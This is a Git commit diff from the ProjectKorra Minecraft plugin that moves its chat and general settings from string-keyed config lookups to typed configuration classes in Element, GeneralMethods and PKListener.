Significant portion of the configuration rewrite completed

This commit is contained in:
Alexander Meech 2019-08-12 08:36:49 -04:00
parent 77a461260d
commit 4f9d617e67
45 changed files with 828 additions and 566 deletions

View file

@ -12,7 +12,6 @@ import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.ability.CoreAbility;
import com.projectkorra.projectkorra.ability.ElementalAbility;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.earthbending.metal.MetalClips;
import com.projectkorra.projectkorra.object.HorizontalVelocityTracker;
import com.projectkorra.projectkorra.util.ActionBar;

View file

@ -28,7 +28,6 @@ import com.projectkorra.projectkorra.ability.CoreAbility;
import com.projectkorra.projectkorra.ability.util.PassiveManager;
import com.projectkorra.projectkorra.avatar.AvatarState;
import com.projectkorra.projectkorra.command.Commands;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.earthbending.metal.MetalClips;
import com.projectkorra.projectkorra.event.PlayerCooldownChangeEvent;
import com.projectkorra.projectkorra.event.PlayerCooldownChangeEvent.Result;
@ -41,6 +40,7 @@ import com.projectkorra.projectkorra.waterbending.blood.Bloodbending;
* Class that presents a player and stores all bending information about the
* player.
*/
@SuppressWarnings("rawtypes")
public class BendingPlayer {
/**
@ -536,10 +536,6 @@ public class BendingPlayer {
return getBendingPlayer(oPlayer);
}
private static FileConfiguration getConfig() {
return ConfigManager.getConfig();
}
public CoreAbility getBoundAbility() {
return CoreAbility.getAbility(this.getBoundAbilityName());
}

View file

@ -4,11 +4,14 @@ import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Optional;
import java.util.function.Supplier;
import org.bukkit.ChatColor;
import org.bukkit.plugin.Plugin;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.ChatPropertiesConfig;
public class Element {
@ -40,12 +43,12 @@ public class Element {
private static final HashMap<String, Element> ALL_ELEMENTS = new HashMap<>(); // Must be initialized first.
public static final Element AIR = new Element("Air");
public static final Element WATER = new Element("Water");
public static final Element EARTH = new Element("Earth");
public static final Element FIRE = new Element("Fire");
public static final Element CHI = new Element("Chi", ElementType.BLOCKING);
public static final Element AVATAR = new Element("Avatar", null);
public static final Element AIR = new Element("Air", () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AirPrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AirColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AirSubColor);
public static final Element WATER = new Element("Water", () -> ConfigManager.getConfig(ChatPropertiesConfig.class).WaterPrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).WaterColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).WaterSubColor);
public static final Element EARTH = new Element("Earth", () -> ConfigManager.getConfig(ChatPropertiesConfig.class).EarthPrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).EarthColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).EarthSubColor);
public static final Element FIRE = new Element("Fire", () -> ConfigManager.getConfig(ChatPropertiesConfig.class).FirePrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).FireColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).FireSubColor);
public static final Element CHI = new Element("Chi", ElementType.BLOCKING, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).ChiPrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).ChiColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).ChiColor);
public static final Element AVATAR = new Element("Avatar", null, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarPrefix, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarColor, () -> ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarColor);
public static final SubElement FLIGHT = new SubElement("Flight", AIR, ElementType.NO_SUFFIX);
public static final SubElement SPIRITUAL = new SubElement("Spiritual", AIR, ElementType.NO_SUFFIX);
public static final SubElement BLOOD = new SubElement("Blood", WATER);
@ -65,6 +68,10 @@ public class Element {
private final String name;
private final ElementType type;
private final Plugin plugin;
private final Supplier<String> prefixSupplier;
private final Supplier<ChatColor> colorSupplier;
private final Supplier<ChatColor> subColorSupplier;
/**
* To be used when creating a new Element. Do not use for comparing
@ -72,8 +79,8 @@ public class Element {
*
* @param name Name of the new Element.
*/
public Element(final String name) {
this(name, ElementType.BENDING, ProjectKorra.plugin);
public Element(final String name, Supplier<String> prefixSupplier, Supplier<ChatColor> colorSupplier, Supplier<ChatColor> subColorSupplier) {
this(name, ElementType.BENDING, ProjectKorra.plugin, prefixSupplier, colorSupplier, subColorSupplier);
}
/**
@ -84,8 +91,8 @@ public class Element {
* @param type ElementType specifies if its a regular element or chi style
* element.
*/
public Element(final String name, final ElementType type) {
this(name, type, ProjectKorra.plugin);
public Element(final String name, final ElementType type, Supplier<String> prefixSupplier, Supplier<ChatColor> colorSupplier, Supplier<ChatColor> subColorSupplier) {
this(name, type, ProjectKorra.plugin, prefixSupplier, colorSupplier, subColorSupplier);
}
/**
@ -97,29 +104,28 @@ public class Element {
* element.
* @param plugin The plugin that is adding the element.
*/
public Element(final String name, final ElementType type, final Plugin plugin) {
public Element(final String name, final ElementType type, final Plugin plugin, Supplier<String> prefixSupplier, Supplier<ChatColor> colorSupplier, Supplier<ChatColor> subColorSupplier) {
this.name = name;
this.type = type;
this.plugin = plugin;
this.prefixSupplier = prefixSupplier;
this.colorSupplier = colorSupplier;
this.subColorSupplier = subColorSupplier;
ALL_ELEMENTS.put(name.toLowerCase(), this);
}
public String getPrefix() {
String name_ = this.name;
if (this instanceof SubElement) {
name_ = ((SubElement) this).parentElement.name;
}
return this.getColor() + ChatColor.translateAlternateColorCodes('&', ConfigManager.languageConfig.get().getString("Chat.Prefixes." + name_)) + " ";
return this.getColor() + ChatColor.translateAlternateColorCodes('&', prefixSupplier.get()) + " ";
}
public ChatColor getColor() {
final String color = this.plugin.getName().equalsIgnoreCase("ProjectKorra") ? ConfigManager.languageConfig.get().getString("Chat.Colors." + this.name) : this.plugin.getConfig().getString("Chat.Colors." + this.name);
return color != null ? ChatColor.valueOf(color) : ChatColor.WHITE;
return Optional.ofNullable(colorSupplier.get()).orElse(ChatColor.WHITE);
}
public ChatColor getSubColor() {
final String color = this.plugin.getName().equalsIgnoreCase("ProjectKorra") ? ConfigManager.languageConfig.get().getString("Chat.Colors." + this.name + "Sub") : this.plugin.getConfig().getString("Chat.Colors." + this.name + "Sub");
return color != null ? ChatColor.valueOf(color) : ChatColor.WHITE;
return Optional.ofNullable(subColorSupplier.get()).orElse(ChatColor.WHITE);
}
public String getName() {
@ -331,14 +337,18 @@ public class Element {
* @param plugin The plugin that is adding the element.
*/
public SubElement(final String name, final Element parentElement, final ElementType type, final Plugin plugin) {
super(name, type, plugin);
super(name, type, plugin, parentElement.prefixSupplier, parentElement.subColorSupplier, parentElement.subColorSupplier);
this.parentElement = parentElement;
}
@Override
public String getPrefix() {
return this.getColor() + ChatColor.translateAlternateColorCodes('&', parentElement.prefixSupplier.get()) + " ";
}
@Override
public ChatColor getColor() {
final String color = this.getPlugin().getName().equalsIgnoreCase("ProjectKorra") ? ConfigManager.languageConfig.get().getString("Chat.Colors." + this.parentElement.name + "Sub") : this.getPlugin().getConfig().getString("Chat.Colors." + this.parentElement.name + "Sub");
return color != null ? ChatColor.valueOf(color) : ChatColor.WHITE;
return parentElement.getSubColor();
}
public Element getParentElement() {

View file

@ -31,37 +31,6 @@ import java.util.UUID;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import com.bekvon.bukkit.residence.Residence;
import com.bekvon.bukkit.residence.api.ResidenceInterface;
import com.bekvon.bukkit.residence.protection.ClaimedResidence;
import com.bekvon.bukkit.residence.protection.ResidencePermissions;
import com.google.common.reflect.ClassPath;
import com.griefcraft.lwc.LWC;
import com.griefcraft.lwc.LWCPlugin;
import com.griefcraft.model.Protection;
import com.palmergames.bukkit.towny.Towny;
import com.palmergames.bukkit.towny.TownyMessaging;
import com.palmergames.bukkit.towny.TownySettings;
import com.palmergames.bukkit.towny.object.Coord;
import com.palmergames.bukkit.towny.object.PlayerCache;
import com.palmergames.bukkit.towny.object.PlayerCache.TownBlockStatus;
import com.palmergames.bukkit.towny.object.TownyPermission;
import com.palmergames.bukkit.towny.object.TownyUniverse;
import com.palmergames.bukkit.towny.object.TownyWorld;
import com.palmergames.bukkit.towny.object.WorldCoord;
import com.palmergames.bukkit.towny.utils.PlayerCacheUtil;
import com.palmergames.bukkit.towny.war.flagwar.TownyWar;
import com.palmergames.bukkit.towny.war.flagwar.TownyWarConfig;
import com.sk89q.worldedit.bukkit.BukkitAdapter;
import com.sk89q.worldguard.WorldGuard;
import com.sk89q.worldguard.bukkit.WorldGuardPlugin;
import com.sk89q.worldguard.protection.flags.Flags;
import com.sk89q.worldguard.protection.flags.StateFlag;
import com.songoda.kingdoms.constants.land.Land;
import com.songoda.kingdoms.constants.land.SimpleChunkLocation;
import com.songoda.kingdoms.constants.player.KingdomPlayer;
import com.songoda.kingdoms.manager.game.GameManagement;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Color;
@ -87,6 +56,27 @@ import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.util.Vector;
import com.bekvon.bukkit.residence.Residence;
import com.bekvon.bukkit.residence.api.ResidenceInterface;
import com.bekvon.bukkit.residence.protection.ClaimedResidence;
import com.bekvon.bukkit.residence.protection.ResidencePermissions;
import com.google.common.reflect.ClassPath;
import com.griefcraft.lwc.LWC;
import com.griefcraft.lwc.LWCPlugin;
import com.griefcraft.model.Protection;
import com.palmergames.bukkit.towny.Towny;
import com.palmergames.bukkit.towny.TownyMessaging;
import com.palmergames.bukkit.towny.TownySettings;
import com.palmergames.bukkit.towny.object.Coord;
import com.palmergames.bukkit.towny.object.PlayerCache;
import com.palmergames.bukkit.towny.object.PlayerCache.TownBlockStatus;
import com.palmergames.bukkit.towny.object.TownyPermission;
import com.palmergames.bukkit.towny.object.TownyUniverse;
import com.palmergames.bukkit.towny.object.TownyWorld;
import com.palmergames.bukkit.towny.object.WorldCoord;
import com.palmergames.bukkit.towny.utils.PlayerCacheUtil;
import com.palmergames.bukkit.towny.war.flagwar.TownyWar;
import com.palmergames.bukkit.towny.war.flagwar.TownyWarConfig;
import com.projectkorra.projectkorra.Element.SubElement;
import com.projectkorra.projectkorra.ability.Ability;
import com.projectkorra.projectkorra.ability.AddonAbility;
@ -108,7 +98,9 @@ import com.projectkorra.projectkorra.airbending.AirShield;
import com.projectkorra.projectkorra.airbending.AirSpout;
import com.projectkorra.projectkorra.airbending.AirSuction;
import com.projectkorra.projectkorra.airbending.AirSwipe;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.ChatPropertiesConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.GeneralPropertiesConfig;
import com.projectkorra.projectkorra.earthbending.EarthBlast;
import com.projectkorra.projectkorra.earthbending.passive.EarthPassive;
import com.projectkorra.projectkorra.event.BendingPlayerCreationEvent;
@ -131,6 +123,15 @@ import com.projectkorra.projectkorra.util.TempArmorStand;
import com.projectkorra.projectkorra.util.TempBlock;
import com.projectkorra.projectkorra.waterbending.WaterManipulation;
import com.projectkorra.projectkorra.waterbending.WaterSpout;
import com.sk89q.worldedit.bukkit.BukkitAdapter;
import com.sk89q.worldguard.WorldGuard;
import com.sk89q.worldguard.bukkit.WorldGuardPlugin;
import com.sk89q.worldguard.protection.flags.Flags;
import com.sk89q.worldguard.protection.flags.StateFlag;
import com.songoda.kingdoms.constants.land.Land;
import com.songoda.kingdoms.constants.land.SimpleChunkLocation;
import com.songoda.kingdoms.constants.player.KingdomPlayer;
import com.songoda.kingdoms.manager.game.GameManagement;
import br.net.fabiozumbi12.RedProtect.Bukkit.RedProtect;
import br.net.fabiozumbi12.RedProtect.Bukkit.Region;
@ -147,6 +148,7 @@ import net.md_5.bungee.api.chat.ComponentBuilder;
import net.md_5.bungee.api.chat.HoverEvent;
import net.md_5.bungee.api.chat.TextComponent;
@SuppressWarnings("rawtypes")
public class GeneralMethods {
// Represents PlayerName, previously checked blocks, and whether they were true or false
@ -648,7 +650,7 @@ public class GeneralMethods {
}
public static void displayMovePreview(final Player player, final int slot) {
if (!ConfigManager.defaultConfig.get().getBoolean("Properties.BendingPreview")) {
if (!ConfigManager.getConfig(GeneralPropertiesConfig.class).BendingPreview) {
return;
}
@ -978,7 +980,7 @@ public class GeneralMethods {
}
public static long getGlobalCooldown() {
return ConfigManager.defaultConfig.get().getLong("Properties.GlobalCooldown");
return ConfigManager.getConfig(GeneralPropertiesConfig.class).GlobalCooldown;
}
/**
@ -1058,14 +1060,15 @@ public class GeneralMethods {
}
public static int getMaxPresets(final Player player) {
final int max = ConfigManager.getConfig().getInt("Properties.MaxPresets");
int max = ConfigManager.getConfig(GeneralPropertiesConfig.class).MaxPresets;
if (player.isOp()) {
return max;
}
for (int i = max; i > 0; i--) {
if (player.hasPermission("bending.command.preset.create." + i)) {
return i;
while (max > 0) {
if (player.hasPermission("bending.command.preset.create." + max)) {
return max;
}
max--;
}
return 0;
}
@ -1351,7 +1354,7 @@ public class GeneralMethods {
}
public static boolean isImportEnabled() {
return ConfigManager.defaultConfig.get().getBoolean("Properties.ImportEnabled");
return ConfigManager.getConfig(GeneralPropertiesConfig.class).ImportEnabled;
}
public static boolean isInteractable(final Block block) {
@ -1424,17 +1427,6 @@ public class GeneralMethods {
}
public static boolean isRegionProtectedFromBuildPostCache(final Player player, final String ability, final Location loc) {
final boolean allowHarmless = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.AllowHarmlessAbilities");
final boolean respectWorldGuard = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectWorldGuard");
//final boolean respectPreciousStones = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectPreciousStones");
final boolean respectFactions = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectFactions");
final boolean respectTowny = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectTowny");
final boolean respectGriefPrevention = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectGriefPrevention");
final boolean respectLWC = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectLWC");
final boolean respectResidence = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.Residence.Respect");
final boolean respectKingdoms = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectKingdoms");
final boolean respectRedProtect = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectRedProtect");
boolean isIgnite = false;
boolean isExplosive = false;
boolean isHarmless = false;
@ -1445,17 +1437,16 @@ public class GeneralMethods {
isHarmless = coreAbil.isHarmlessAbility();
}
if (ability == null && allowHarmless) {
if (ability == null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_AllowHarmlessAbilities) {
return false;
}
if (isHarmless && allowHarmless) {
if (isHarmless && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_AllowHarmlessAbilities) {
return false;
}
final PluginManager pm = Bukkit.getPluginManager();
final Plugin wgp = pm.getPlugin("WorldGuard");
//final Plugin psp = pm.getPlugin("PreciousStones");
final Plugin facsfw = pm.getPlugin("FactionsFramework");
final Plugin twnp = pm.getPlugin("Towny");
final Plugin gpp = pm.getPlugin("GriefPrevention");
@ -1467,7 +1458,7 @@ public class GeneralMethods {
for (final Location location : new Location[] { loc, player.getLocation() }) {
final World world = location.getWorld();
if (lwc != null && respectLWC) {
if (lwc != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectLWC) {
final LWCPlugin lwcp = (LWCPlugin) lwc;
final LWC lwc2 = lwcp.getLWC();
final Protection protection = lwc2.getProtectionCache().getProtection(location.getBlock());
@ -1477,7 +1468,7 @@ public class GeneralMethods {
}
}
}
if (wgp != null && respectWorldGuard && !player.hasPermission("worldguard.region.bypass." + world.getName())) {
if (wgp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectWorldGuard && !player.hasPermission("worldguard.region.bypass." + world.getName())) {
final WorldGuard wg = WorldGuard.getInstance();
if (!player.isOnline()) {
return true;
@ -1515,7 +1506,7 @@ public class GeneralMethods {
}
}
if (facsfw != null && respectFactions) {
if (facsfw != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectFactions) {
final FPlayer fPlayer = FPlayers.getBySender(player);
final Faction faction = Factions.getFactionAt(location);
final Rel relation = fPlayer.getRelationTo(faction);
@ -1525,7 +1516,7 @@ public class GeneralMethods {
}
}
if (twnp != null && respectTowny) {
if (twnp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectTowny) {
final Towny twn = (Towny) twnp;
WorldCoord worldCoord;
@ -1561,7 +1552,7 @@ public class GeneralMethods {
}
}
if (gpp != null && respectGriefPrevention) {
if (gpp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectGriefPrevention) {
Material type = player.getWorld().getBlockAt(location).getType();
if (type == null) {
type = Material.AIR;
@ -1575,18 +1566,18 @@ public class GeneralMethods {
}
}
if (residence != null && respectResidence) {
if (residence != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectResidence) {
final ResidenceInterface res = Residence.getInstance().getResidenceManagerAPI();
final ClaimedResidence claim = res.getByLoc(location);
if (claim != null) {
final ResidencePermissions perms = claim.getPermissions();
if (!perms.hasApplicableFlag(player.getName(), ConfigManager.getConfig().getString("Properties.RegionProtection.Residence.Flag"))) {
if (!perms.hasApplicableFlag(player.getName(), ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_ResidenceFlag)) {
return true;
}
}
}
if (kingdoms != null && respectKingdoms) {
if (kingdoms != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectKingdoms) {
final KingdomPlayer kPlayer = GameManagement.getPlayerManager().getOfflineKingdomPlayer(player).getKingdomPlayer();
if (kPlayer.getKingdom() != null) {
final SimpleChunkLocation chunkLocation = new SimpleChunkLocation(location.getChunk());
@ -1601,7 +1592,7 @@ public class GeneralMethods {
}
if (redprotect != null && respectRedProtect) {
if (redprotect != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectRedProtect) {
final RedProtectAPI api = RedProtect.get().getAPI();
final Region region = api.getRegion(location);
if (!(region != null && region.canBuild(player))) {
@ -1674,9 +1665,7 @@ public class GeneralMethods {
Element element = null;
String prefix = "";
final boolean chatEnabled = ConfigManager.languageConfig.get().getBoolean("Chat.Enable");
prefix = ChatColor.WHITE + ChatColor.translateAlternateColorCodes('&', ConfigManager.languageConfig.get().getString("Chat.Prefixes.Nonbender")) + " ";
prefix = ChatColor.WHITE + ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).NonbenderPrefix) + " ";
if (player.hasPermission("bending.avatar") || (bPlayer.hasElement(Element.AIR) && bPlayer.hasElement(Element.EARTH) && bPlayer.hasElement(Element.FIRE) && bPlayer.hasElement(Element.WATER))) {
prefix = Element.AVATAR.getPrefix();
} else if (bPlayer.getElements().size() > 0) {
@ -1684,7 +1673,7 @@ public class GeneralMethods {
prefix = element.getPrefix();
}
if (chatEnabled) {
if (ConfigManager.getConfig(ChatPropertiesConfig.class).Enabled) {
player.setDisplayName(player.getName());
player.setDisplayName(prefix + ChatColor.RESET + player.getDisplayName());
}
@ -1721,9 +1710,7 @@ public class GeneralMethods {
DBConnection.sql.close();
}
GeneralMethods.stopBending();
ConfigManager.defaultConfig.reload();
ConfigManager.languageConfig.reload();
ConfigManager.presetConfig.reload();
ConfigManager.clearCache();
Preset.loadExternalPresets();
new MultiAbilityManager();
new ComboManager();
@ -1876,19 +1863,9 @@ public class GeneralMethods {
writeToDebug("Supported Plugins");
writeToDebug("====================");
final boolean respectWorldGuard = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectWorldGuard");
final boolean respectPreciousStones = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectPreciousStones");
final boolean respectFactions = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectFactions");
final boolean respectTowny = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectTowny");
final boolean respectGriefPrevention = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectGriefPrevention");
final boolean respectLWC = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RespectLWC");
final boolean respectResidence = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.Residence.Respect");
final boolean respectKingdoms = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.Kingdoms");
final boolean respectRedProtect = ConfigManager.defaultConfig.get().getBoolean("Properties.RegionProtection.RedProtect");
final PluginManager pm = Bukkit.getPluginManager();
final Plugin wgp = pm.getPlugin("WorldGuard");
final Plugin psp = pm.getPlugin("PreciousStones");
final Plugin fcp = pm.getPlugin("FactionsFramework");
final Plugin twnp = pm.getPlugin("Towny");
final Plugin gpp = pm.getPlugin("GriefPrevention");
@ -1897,31 +1874,28 @@ public class GeneralMethods {
final Plugin kingdoms = pm.getPlugin("Kingdoms");
final Plugin redprotect = pm.getPlugin("RedProtect");
if (wgp != null && respectWorldGuard) {
if (wgp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectWorldGuard) {
writeToDebug("WorldGuard v" + wgp.getDescription().getVersion());
}
if (psp != null && respectPreciousStones) {
writeToDebug("PreciousStones v" + psp.getDescription().getVersion());
}
if (fcp != null && respectFactions) {
if (fcp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectFactions) {
writeToDebug("FactionsFramework v" + fcp.getDescription().getVersion());
}
if (twnp != null && respectTowny) {
if (twnp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectTowny) {
writeToDebug("Towny v" + twnp.getDescription().getVersion());
}
if (gpp != null && respectGriefPrevention) {
if (gpp != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectGriefPrevention) {
writeToDebug("GriefPrevention v" + gpp.getDescription().getVersion());
}
if (lwc != null && respectLWC) {
if (lwc != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectLWC) {
writeToDebug("LWC v" + lwc.getDescription().getVersion());
}
if (residence != null && respectResidence) {
if (residence != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectResidence) {
writeToDebug("Residence v" + residence.getDescription().getVersion());
}
if (kingdoms != null && respectKingdoms) {
if (kingdoms != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectKingdoms) {
writeToDebug("Kingdoms v" + kingdoms.getDescription().getVersion());
}
if (redprotect != null && respectRedProtect) {
if (redprotect != null && ConfigManager.getConfig(GeneralPropertiesConfig.class).RegionProtection_RespectRedProtect) {
writeToDebug("RedProtect v" + redprotect.getDescription().getVersion());
}
@ -2127,12 +2101,12 @@ public class GeneralMethods {
public static void setVelocity(final Entity entity, final Vector velocity) {
if (entity instanceof TNTPrimed) {
if (ConfigManager.defaultConfig.get().getBoolean("Properties.BendingAffectFallingSand.TNT")) {
velocity.multiply(ConfigManager.defaultConfig.get().getDouble("Properties.BendingAffectFallingSand.TNTStrengthMultiplier"));
if (ConfigManager.getConfig(GeneralPropertiesConfig.class).BendingAffectFallingSand_TNT) {
velocity.multiply(ConfigManager.getConfig(GeneralPropertiesConfig.class).BendingAffectFallingSand_TNT_StrengthMultiplier);
}
} else if (entity instanceof FallingBlock) {
if (ConfigManager.defaultConfig.get().getBoolean("Properties.BendingAffectFallingSand.Normal")) {
velocity.multiply(ConfigManager.defaultConfig.get().getDouble("Properties.BendingAffectFallingSand.NormalStrengthMultiplier"));
if (ConfigManager.getConfig(GeneralPropertiesConfig.class).BendingAffectFallingSand_Normal) {
velocity.multiply(ConfigManager.getConfig(GeneralPropertiesConfig.class).BendingAffectFallingSand_Normal_StrengthMultiplier);
}
}
@ -2195,20 +2169,13 @@ public class GeneralMethods {
}
public static void sendBrandingMessage(final CommandSender sender, final String message) {
ChatColor color;
try {
color = ChatColor.valueOf(ConfigManager.languageConfig.get().getString("Chat.Branding.Color").toUpperCase());
} catch (final IllegalArgumentException exception) {
color = ChatColor.GOLD;
}
final String prefix = ChatColor.translateAlternateColorCodes('&', ConfigManager.languageConfig.get().getString("Chat.Branding.ChatPrefix.Prefix")) + color + "ProjectKorra" + ChatColor.translateAlternateColorCodes('&', ConfigManager.languageConfig.get().getString("Chat.Branding.ChatPrefix.Suffix"));
final String prefix = ChatColor.GOLD + "ProjectKorra ";
if (!(sender instanceof Player)) {
sender.sendMessage(prefix + message);
} else {
final TextComponent prefixComponent = new TextComponent(prefix);
prefixComponent.setClickEvent(new ClickEvent(ClickEvent.Action.OPEN_URL, "http://projectkorra.com/"));
prefixComponent.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder(color + "Bending brought to you by ProjectKorra!\n" + color + "Click for more info.").create()));
prefixComponent.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder(ChatColor.GOLD + "Bending brought to you by ProjectKorra!\n" + ChatColor.GOLD + "Click for more info.").create()));
/*
* The commented code below does not work due to an issue with

View file

@ -7,8 +7,6 @@ import java.util.List;
import java.util.Map;
import java.util.UUID;
import co.aikar.timings.lib.MCTiming;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
@ -115,7 +113,9 @@ import com.projectkorra.projectkorra.chiblocking.WarriorStance;
import com.projectkorra.projectkorra.chiblocking.passive.Acrobatics;
import com.projectkorra.projectkorra.chiblocking.passive.ChiPassive;
import com.projectkorra.projectkorra.command.Commands;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.ChatPropertiesConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.GeneralPropertiesConfig;
import com.projectkorra.projectkorra.earthbending.Catapult;
import com.projectkorra.projectkorra.earthbending.Collapse;
import com.projectkorra.projectkorra.earthbending.CollapseWall;
@ -191,6 +191,9 @@ import com.projectkorra.projectkorra.waterbending.multiabilities.WaterArms;
import com.projectkorra.projectkorra.waterbending.passive.FastSwim;
import com.projectkorra.projectkorra.waterbending.passive.HydroSink;
import co.aikar.timings.lib.MCTiming;
@SuppressWarnings({ "unused", "deprecation", "rawtypes" })
public class PKListener implements Listener {
ProjectKorra plugin;
@ -436,8 +439,7 @@ public class PKListener implements Listener {
final Player player = event.getTarget();
final BendingPlayer bPlayer = BendingPlayer.getBendingPlayer(player);
PassiveManager.registerPassives(player);
final boolean chatEnabled = ConfigManager.languageConfig.get().getBoolean("Chat.Enable");
if (chatEnabled) {
if (ConfigManager.getConfig(ChatPropertiesConfig.class).Enabled) {
final Element element = event.getElement();
String prefix = "";
@ -450,7 +452,7 @@ public class PKListener implements Listener {
} else if (element != null) {
prefix = element.getPrefix();
} else {
prefix = ChatColor.WHITE + ChatColor.translateAlternateColorCodes('&', ConfigManager.languageConfig.get().getString("Chat.Prefixes.Nonbender")) + " ";
prefix = ChatColor.WHITE + ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).NonbenderPrefix) + " ";
}
player.setDisplayName(player.getName());
@ -770,7 +772,7 @@ public class PKListener implements Listener {
public void onEntityBendingDeath(final EntityBendingDeathEvent event) {
BENDING_ENTITY_DEATH.put(event.getEntity(), event.getAbility());
if (event.getEntity() instanceof Player) {
if (ConfigManager.languageConfig.get().getBoolean("DeathMessages.Enabled")) {
if (ConfigManager.getConfig(GeneralPropertiesConfig.class).DeathMessages) {
final Ability ability = event.getAbility();
if (ability == null) {
return;
@ -810,21 +812,20 @@ public class PKListener implements Listener {
final Player player = event.getPlayer();
final BendingPlayer bPlayer = BendingPlayer.getBendingPlayer(player);
String e = "Nonbender";
String e = ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).NonbenderPrefix);
ChatColor c = ChatColor.WHITE;
if (bPlayer != null) {
if (player.hasPermission("bending.avatar") || (bPlayer.hasElement(Element.AIR) && bPlayer.hasElement(Element.EARTH) && bPlayer.hasElement(Element.FIRE) && bPlayer.hasElement(Element.WATER))) {
c = Element.AVATAR.getColor();
e = Element.AVATAR.getName();
c = ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarColor;
e = ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarPrefix);
} else if (bPlayer.getElements().size() > 0) {
c = bPlayer.getElements().get(0).getColor();
e = bPlayer.getElements().get(0).getName();
e = bPlayer.getElements().get(0).getPrefix();
}
}
final String element = ConfigManager.languageConfig.get().getString("Chat.Prefixes." + e);
event.setFormat(event.getFormat().replace("{element}", c + element + ChatColor.RESET).replace("{ELEMENT}", c + element + ChatColor.RESET).replace("{elementcolor}", c + "").replace("{ELEMENTCOLOR}", c + ""));
event.setFormat(event.getFormat().replace("{element}", c + e + ChatColor.RESET).replace("{ELEMENT}", c + e + ChatColor.RESET).replace("{elementcolor}", c + "").replace("{ELEMENTCOLOR}", c + ""));
if (!ConfigManager.languageConfig.get().getBoolean("Chat.Enable")) {
